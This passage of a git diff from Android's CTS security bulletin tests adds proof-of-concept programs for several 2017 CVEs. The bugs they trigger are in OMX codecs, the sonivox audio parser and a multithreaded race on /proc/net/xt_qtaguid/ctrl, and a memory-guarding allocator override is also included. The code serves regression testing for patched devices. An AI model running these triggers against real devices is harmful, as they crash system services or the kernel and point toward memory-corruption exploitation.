+    if (s_mem_map_index == MAX_ENTRIES) {
+        return real_memalign(alignment, size);
+    }
+
+    if (alignment > page_size) {
+        return real_memalign(alignment, size);
+    }
+
+    if ((0 == page_size) || (0 == alignment) || (0 == size)
+            || (0 == new_alignment)) {
+        return real_memalign(alignment, size);
+    }
+
+    if (0 != (size % new_alignment)) {
+        aligned_size = size + (new_alignment - (size % new_alignment));
+    }
+
+    if (0 != (aligned_size % page_size)) {
+        no_of_pages = (aligned_size / page_size) + 2;
+    } else {
+        no_of_pages = (aligned_size / page_size) + 1;
+    }
+
+    total_size = (no_of_pages * page_size);
+    start_ptr = (char *) real_memalign(page_size, total_size);
+    mem_ptr = (char *) start_ptr + ((no_of_pages - 1) * page_size)
+            - aligned_size;
+    DISABLE_MEM_ACCESS((start_ptr + ((no_of_pages - 1) * page_size)), page_size);
+    s_mem_map[s_mem_map_index].start_ptr = start_ptr;
+    s_mem_map[s_mem_map_index].mem_ptr = mem_ptr;
+    s_mem_map[s_mem_map_index].num_pages = no_of_pages;
+    s_mem_map[s_mem_map_index].mem_size = size;
+    s_mem_map_index++;
+    return mem_ptr;
+}
+
+void free(void *ptr) {
+    if (s_memutils_initialized == 0) {
+        memutils_init();
+    }
+    if (ptr != NULL) {
+        int i = 0;
+        size_t page_size = getpagesize();
+        for (i = 0; i < s_mem_map_index; i++) {
+            if (ptr == s_mem_map[i].mem_ptr) {
+                s_free_list[s_free_write_index].start_ptr = s_mem_map[i]
+                        .start_ptr;
+                s_free_list[s_free_write_index].mem_ptr = s_mem_map[i].mem_ptr;
+                s_free_list[s_free_write_index].num_pages = s_mem_map[i]
+                        .num_pages;
+                s_free_list[s_free_write_index].mem_size =
+                        s_mem_map[i].mem_size;
+                s_free_write_index++;
+                s_free_list_size += s_mem_map[i].mem_size;
+                DISABLE_MEM_ACCESS(s_mem_map[i].start_ptr,
+                                   (s_mem_map[i].num_pages * page_size));
+                memset(&s_mem_map[i], 0, sizeof(map_struct_t));
+                while (s_free_list_size > MAX_WINDOW_SIZE) {
+                    ENABLE_MEM_ACCESS(
+                            s_free_list[s_free_read_index].start_ptr,
+                            (s_free_list[s_free_read_index].num_pages
+                                    * page_size));
+                    real_free(s_free_list[s_free_read_index].start_ptr);
+                    s_free_list_size -= s_free_list[s_free_read_index].mem_size;
+                    memset(&s_free_list[s_free_read_index], 0,
+                           sizeof(map_struct_t));
+                    s_free_read_index++;
+                    if ((s_free_read_index == MAX_ENTRIES)
+                            || (s_free_read_index >= s_free_write_index)) {
+                        break;
+                    }
+                }
+                return;
+            }
+        }
+    }
+    real_free(ptr);
+    return;
+}
+
+using namespace android;
+
+typedef SoftOMXComponent *(*CreateSoftOMXComponentFunc)(
+        const char *, const OMX_CALLBACKTYPE *, OMX_PTR, OMX_COMPONENTTYPE **);
+
+int main(void) {
+    void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+    if (libHandle == NULL) {
+        return EXIT_FAILURE;
+    }
+
+    CreateSoftOMXComponentFunc createSoftOMXComponent =
+            (CreateSoftOMXComponentFunc) dlsym(
+                    libHandle,
+                    "_Z22createSoftOMXComponentPKcPK16OMX_CALLBACKTYPE"
+                    "PvPP17OMX_COMPONENTTYPE");
+
+    if (createSoftOMXComponent == NULL) {
+        dlclose(libHandle);
+        return EXIT_FAILURE;
+    }
+
+    OMX_COMPONENTTYPE *component = NULL;
+    SoftHEVC* codec = (SoftHEVC*) (*createSoftOMXComponent)(
+            "OMX.google.hevc.decoder", NULL, NULL, &component);
+
+    dlclose(libHandle);
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/Android.mk
new file mode 100644
index 0000000..311b082
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/Android.mk
@@ -0,0 +1,44 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2017-13180
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_SRC_FILES_32 := ../includes/omxUtils.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES_32 := frameworks/native/include/media/openmax
+LOCAL_C_INCLUDES_32 += frameworks/native/include/media/hardware/
+LOCAL_SHARED_LIBRARIES_32 := liblog
+LOCAL_SHARED_LIBRARIES_32 += libbinder
+LOCAL_SHARED_LIBRARIES_32 += libstagefright
+LOCAL_SHARED_LIBRARIES_32 += libstagefright_foundation
+LOCAL_SHARED_LIBRARIES_32 += libutils
+LOCAL_SHARED_LIBRARIES_32 += libmedia_omx
+LOCAL_SHARED_LIBRARIES_32 += libcutils
+LOCAL_SHARED_LIBRARIES_32 += libhidlbase
+LOCAL_SHARED_LIBRARIES_32 += libhidlmemory
+LOCAL_SHARED_LIBRARIES_32 += android.hidl.allocator@1.0
+LOCAL_SHARED_LIBRARIES_32 += android.hardware.media.omx@1.0
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/poc.cpp
new file mode 100644
index 0000000..d163023
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/poc.cpp
@@ -0,0 +1,113 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+
+#include "../includes/common.h"
+#include <stdlib.h>
+
+// This PoC is only for 32-bit builds
+#if _32_BIT
+#include "../includes/omxUtils.h"
+#define TIMESTAMP_US 0x00010001
+
+extern bool mUseTreble;
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+
+int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers) {
+    buffers->clear();
+    OMX_PARAM_PORTDEFINITIONTYPE def;
+    int err = omxUtilsGetParameter(portIndex, &def);
+    omxExitOnError(err);
+
+    for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+        Buffer buffer;
+        buffer.mFlags = 0;
+        bool success;
+        auto transStatus = mAllocator->allocate(def.nBufferSize,
+                                                [&success, &buffer](
+                                                        bool s,
+                                                        hidl_memory const& m) {
+                                                    success = s;
+                                                    buffer.mHidlMemory = m;
+                                                });
+        omxExitOnError(!transStatus.isOk());
+        omxExitOnError(!success);
+        omxUtilsUseBuffer(portIndex, buffer.mHidlMemory, &buffer.mID);
+        buffers->push(buffer);
+    }
+    return OK;
+}
+#endif /* _32_BIT */
+
+int main() {
+
+// This PoC is only for 32-bit builds
+#if _32_BIT
+    int i;
+    Vector < Buffer > inputBuffers;
+    Vector < Buffer > outputBuffers;
+    status_t err = omxUtilsInit((char*) "OMX.google.h264.decoder");
+
+    omxExitOnError(err);
+
+    OMX_PARAM_PORTDEFINITIONTYPE def;
+    omxUtilsGetParameter(OMX_UTILS_IP_PORT, &def);
+
+    int inMemorySize = def.nBufferCountActual * def.nBufferSize;
+    int inBufferCount = def.nBufferCountActual;
+    sp < MemoryDealer > dealerIn = new MemoryDealer(inMemorySize);
+    IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCount];
+
+    omxUtilsGetParameter(OMX_UTILS_OP_PORT, &def);
+
+    int outMemorySize = def.nBufferCountActual * def.nBufferSize;
+    int outBufferCount = def.nBufferCountActual;
+    sp < MemoryDealer > dealerOut = new MemoryDealer(outMemorySize);
+    IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCount];
+
+    allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers);
+    for (i = 0; i < inBufferCount; ++i) {
+        inBufferId[i] = inputBuffers[i].mID;
+    }
+
+    allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers);
+    for (i = 0; i < outBufferCount; ++i) {
+        outBufferId[i] = outputBuffers[i].mID;
+    }
+
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+
+    OMX_U32 flags = OMX_BUFFERFLAG_ENDOFFRAME;
+    int64_t timeUs = TIMESTAMP_US;
+    omxUtilsEmptyBuffer(inBufferId[0], OMXBuffer::sPreset, flags, timeUs, -1);
+    omxUtilsFillBuffer(outBufferId[0], OMXBuffer::sPreset, -1);
+
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
+
+    for (i = 0; i < inBufferCount; ++i) {
+        omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mID);
+    }
+
+    for (i = 0; i < outBufferCount; ++i) {
+        omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mID);
+    }
+
+    omxUtilsFreeNode();
+#endif /* _32_BIT */
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/Android.mk
new file mode 100644
index 0000000..59b58a7
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2017-13234
+LOCAL_SRC_FILES := poc.c
+LOCAL_SRC_FILES += ../includes/memutils_track.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES += external/sonivox/arm-wt-22k/host_src
+LOCAL_SHARED_LIBRARIES := libsonivox
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_CFLAGS += -DCHECK_MEMORY_LEAK -DENABLE_SELECTIVE_OVERLOADING
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/poc.c
new file mode 100644
index 0000000..3e9c66b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/poc.c
@@ -0,0 +1,77 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <stdlib.h>
+#include <string.h>
+#include <stdbool.h>
+#include "../includes/memutils_track.h"
+#include "eas.h"
+
+char enable_selective_overload = ENABLE_NONE;
+
+bool is_tracking_required(size_t size) {
+    return ((size != 1024) && (size != 4096));
+}
+
+int EAS_fread(void *handle, void *buf, int offset, int size) {
+    fseek(handle, offset, SEEK_SET);
+    return fread(buf, 1, size, handle);
+}
+
+int EAS_fsize(void *handle) {
+    fseek(handle, 0, SEEK_END);
+    return ftell(handle);
+}
+
+static void PlayFile(EAS_DATA_HANDLE easData, const char* filename) {
+    EAS_HANDLE handle;
+    EAS_FILE file;
+    file.handle = (void*) fopen(filename, "rb");
+    file.readAt = EAS_fread;
+    file.size = EAS_fsize;
+    enable_selective_overload = ENABLE_MALLOC_CHECK;
+    if (EAS_OpenFile(easData, &file, &handle) != EAS_SUCCESS) {
+        enable_selective_overload = ENABLE_NONE;
+        if(file.handle) {
+            fclose(file.handle);
+        }
+        return;
+    }
+    EAS_Prepare(easData, handle);
+    EAS_CloseFile(easData, handle);
+    enable_selective_overload = ENABLE_NONE;
+    if(file.handle) {
+        fclose(file.handle);
+    }
+    return;
+}
+
+int main(int argc, char **argv) {
+    EAS_DATA_HANDLE easData;
+    EAS_RESULT result;
+
+    if (argc < 2) {
+        return EXIT_FAILURE;
+    }
+
+    result = EAS_Init(&easData);
+    if (result != EAS_SUCCESS) {
+        return EXIT_FAILURE;
+    }
+    PlayFile(easData, argv[1]);
+    EAS_Shutdown(easData);
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13241/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13241/Android.mk
new file mode 100644
index 0000000..e4dc14c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13241/Android.mk
@@ -0,0 +1,44 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2017-13241
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_SRC_FILES += ../includes/omxUtils.cpp
+LOCAL_MULTILIB := 32
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_C_INCLUDES := frameworks/native/include/media/openmax
+LOCAL_C_INCLUDES += frameworks/av/media/libstagefright/
+LOCAL_C_INCLUDES += frameworks/native/include/media/hardware/
+LOCAL_SHARED_LIBRARIES := libstagefright
+LOCAL_SHARED_LIBRARIES += libbinder
+LOCAL_SHARED_LIBRARIES += libmedia_omx
+LOCAL_SHARED_LIBRARIES += libutils
+LOCAL_SHARED_LIBRARIES += liblog
+LOCAL_SHARED_LIBRARIES += libstagefright_foundation
+LOCAL_SHARED_LIBRARIES += libcutils
+LOCAL_SHARED_LIBRARIES += libhidlbase
+LOCAL_SHARED_LIBRARIES += android.hidl.allocator@1.0
+LOCAL_SHARED_LIBRARIES += android.hidl.memory@1.0
+LOCAL_SHARED_LIBRARIES += android.hardware.media.omx@1.0
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13241/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13241/poc.cpp
new file mode 100644
index 0000000..e7b3eca
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13241/poc.cpp
@@ -0,0 +1,134 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "../includes/omxUtils.h"
+#define FRAME_WIDTH 2000
+#define FRAME_HEIGHT 2000
+#define FRAME_RATE (30 << 16)
+#define BUFFER_SIZE 12
+#define BUFFER_COUNT 2
+#define EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_SEC 30
+extern int numCallbackEmptyBufferDone;
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers,
+                            int BufferSize) {
+    buffers->clear();
+    OMX_PARAM_PORTDEFINITIONTYPE def;
+    int err = omxUtilsGetParameter(portIndex, &def);
+    omxExitOnError(err);
+    for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+        Buffer buffer;
+        buffer.mFlags = 0;
+        bool success;
+        auto transStatus = mAllocator->allocate(BufferSize, [&success, &buffer](
+                bool s,
+                hidl_memory const& m) {
+            success = s;
+            buffer.mHidlMemory = m;
+        });
+        omxExitOnError(!transStatus.isOk());
+        omxExitOnError(!success);
+        buffers->push(buffer);
+    }
+    return OK;
+}
+int main() {
+    status_t err;
+    /* Initialize OMX for the specified codec                                 */
+    status_t ret = omxUtilsInit((char *) "OMX.google.h264.encoder");
+    omxExitOnError(ret);
+    int allCallbacksReceivedEmptyBufferDone = 0;
+    /* Get OMX input port parameters                                          */
+    OMX_PARAM_PORTDEFINITIONTYPE *params =
+            (OMX_PARAM_PORTDEFINITIONTYPE *) malloc(
+                    sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+    params->nPortIndex = OMX_UTILS_IP_PORT;
+    params->format.video.nFrameWidth = FRAME_WIDTH;
+    params->format.video.nFrameHeight = FRAME_HEIGHT;
+    params->format.video.xFramerate = FRAME_RATE;
+    params->format.video.eCompressionFormat = OMX_VIDEO_CodingUnused;
+    params->format.video.eColorFormat = OMX_COLOR_FormatAndroidOpaque;
+    params->nBufferSize = BUFFER_SIZE;
+    params->nBufferCountActual = params->nBufferCountMin = BUFFER_COUNT;
+    err = omxUtilsSetParameter(OMX_UTILS_IP_PORT, params);
+    memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+    err = omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
+    /* prepare input port buffers                                             */
+    int inMemSize = params->nBufferCountActual * params->nBufferSize;
+    int inBufferCnt = params->nBufferCountActual;
+    int inBufferSize = inMemSize / inBufferCnt;
+    IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+    /* Get OMX output port parameters                                         */
+    omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+    /* prepare output port buffers                                            */
+    int outMemSize = params->nBufferCountActual * params->nBufferSize;
+    int outBufferCnt = params->nBufferCountActual;
+    int outBufferSize = outMemSize / outBufferCnt;
+    IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+    Vector < Buffer > inputBuffers;
+    Vector < Buffer > outputBuffers;
+    /* Register input buffers with OMX component                              */
+    allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers, inBufferSize);
+    for (int i = 0; i < inBufferCnt; i++) {
+        inBufferId[i] = inputBuffers[i].mID;
+        err = omxUtilsUseBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mHidlMemory,
+                                &inBufferId[i]);
+    }
+    /* Register output buffers with OMX component                             */
+    allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers, outBufferSize);
+    for (int i = 0; i < outBufferCnt; i++) {
+        outBufferId[i] = outputBuffers[i].mID;
+        err = omxUtilsUseBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mHidlMemory,
+                                &outBufferId[i]);
+    }
+    /* Do OMX State change to Idle                                            */
+    err = omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+    /* Do OMX State change to Executing                                       */
+    err = omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+    for (int i = 0; i < inBufferCnt; i++) {
+        OMXBuffer omxBuf(0, inBufferSize);
+        err = omxUtilsEmptyBuffer(inBufferId[i], omxBuf, 0, 0, -1);
+    }
+    for (int i = 0; i < outBufferCnt; i++) {
+        OMXBuffer omxBuf(0, outBufferSize);
+        err = omxUtilsFillBuffer(outBufferId[i], omxBuf, -1);
+    }
+    /* Do OMX State change to Idle                                            */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+    time_t currentTime = time(NULL);
+    time_t waitTimeInSeconds = EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_SEC;
+    time_t endTime = currentTime + waitTimeInSeconds;
+    while (currentTime < endTime) {
+        if (numCallbackEmptyBufferDone == inBufferCnt) {
+            allCallbacksReceivedEmptyBufferDone = 1;
+            break;
+        }
+        currentTime = time(NULL);
+    }
+    if (!allCallbacksReceivedEmptyBufferDone) {
+        ALOGE("Exiting the app");
+        exit (EXIT_FAILURE);
+    }
+    /* Free input and output buffers                                          */
+    for (int i = 0; i < inBufferCnt; i++) {
+        omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inBufferId[i]);
+    }
+    for (int i = 0; i < outBufferCnt; i++) {
+        omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outBufferId[i]);
+    }
+    /* Free OMX resources                                                     */
+    omxUtilsFreeNode();
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/Android.mk
new file mode 100644
index 0000000..1cb7357
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-13273
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/poc.c
new file mode 100644
index 0000000..0856392
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/poc.c
@@ -0,0 +1,136 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <stdio.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <sys/time.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#define MAX_THREAD 6
+
+int ctrl_fd;
+static int cmd;
+static int status[MAX_THREAD];
+static int sock_fd;
+
+void *thread_entry(void *arg) {
+  int index, len = 256, ret;
+  char buf[256];
+  index = (int)(unsigned long)arg;
+  memset(buf, 0x0, 256);
+  status[index] = 1;
+
+  // cmd =-1 signifies error in thread creation
+  while (cmd != 1 && cmd != -1) {
+    usleep(5);
+  }
+
+  if (cmd != -1) {
+    switch (index % 3) {
+      case 0:
+        len = sprintf(buf, "d %lu", (unsigned long)0);
+        break;
+      case 2:
+        len = sprintf(buf, "t %d", sock_fd);
+        break;
+    }
+
+    ret = write(ctrl_fd, buf, len);
+  }
+
+  status[index] = 2;
+  return NULL;
+}
+/*
+ *This PoC creates multiple threads to write /proc/net/xt_qtaguid/ctrl device
+ *which causes null pointer derefrences in netstat.
+ */
+int main() {
+  int fd, retry = 1024;
+  int ret, i, loop;
+  pthread_t tid[MAX_THREAD];
+
+  fork();
+  sock_fd = socket(AF_INET, SOCK_STREAM, 0);
+  while (retry--) {
+    cmd = 0;
+    for (i = 0; i < MAX_THREAD; i++) {
+      status[i] = 0;
+    }
+
+    fd = open("/dev/xt_qtaguid", O_RDONLY);
+    if (fd < 0) {
+      return -1;
+    }
+
+    ctrl_fd = open("/proc/net/xt_qtaguid/ctrl", O_RDWR);
+    if (ctrl_fd < 0) {
+      return -1;
+    }
+
+    for (i = 0; i < MAX_THREAD; i++) {
+      ret =
+          pthread_create(&tid[i], NULL, thread_entry, (void *)(unsigned long)i);
+      if (ret != 0) {
+        cmd = -1;
+        close(ctrl_fd);
+      }
+    }
+
+    loop = 1;
+    int count = 0;
+    // loop until all threads have status == 1
+    while (loop) {
+      loop = 0;
+      count = count + 1;
+      for (i = 0; i < MAX_THREAD; i++)
+        if (status[i] != 1) {
+          loop = 1;
+          break;
+        }
+
+      if (loop) {
+        usleep(5);
+      }
+    }
+
+    cmd = 1;
+    loop = 1;
+    while (loop) {
+      loop = 0;
+      count = count + 1;
+      for (i = 0; i < MAX_THREAD; i++)
+        if (status[i] != 2) {
+          loop = 1;
+          break;
+        }
+
+      if (loop) {
+        usleep(5);
+      }
+    }
+    close(fd);
+  }
+  return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.mk
index b4697d5..64ecb5c 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.mk
@@ -10,7 +10,7 @@
 # distributed under the License is distributed on an "AS IS" BASIS,
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
-# limitations under the License.
+# limitations under the License
 
 LOCAL_PATH := $(call my-dir)
 
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/poc.c
index 1637bd6..5bdd33d 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/poc.c
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/poc.c
@@ -10,26 +10,25 @@
  * Unless required by applicable law or agreed to in writing, software
  * distributed under the License is distributed on an "AS IS" BASIS,
  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions vand
+ * See the License for the specific language governing permissions and
  * limitations under the License.
  */
 #define _GNU_SOURCE
-#include "local_poc.h"
 #include <fcntl.h>
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
 #include <sys/ioctl.h>
 #include <sys/prctl.h>
-#include <sys/stat.h>
 #include <sys/types.h>
 #include <sys/wait.h>
 #include <unistd.h>
+#include "local_poc.h"
+#include "../includes/common.h"
 #define DRMDEV_NAME "/dev/dri/renderD128"
+#define MAX_MAPS 10
 
-static int drm_version(int fd)
-{
-  int ret;
+static int drm_version(int fd) {
   struct drm_version ver;
   ver.name_len = 100;
   ver.date_len = 100;
@@ -39,17 +38,14 @@
   ver.date = (char*)malloc(ver.date_len);
   ver.desc = (char*)malloc(ver.desc_len);
 
-  ret = ioctl(fd, DRM_IOCTL_VERSION, &ver);
-
-  if (ret == -1) {
-    return -1;
+  if (ioctl(fd, DRM_IOCTL_VERSION, &ver) < 0) {
+    close(fd);
+    exit(EXIT_FAILURE);
   }
   return 0;
 }
 
-static int nouveau_gem_ioctl_new(int fd)
-{
-  int ret;
+static uint32_t nouveau_gem_ioctl_new(int fd) {
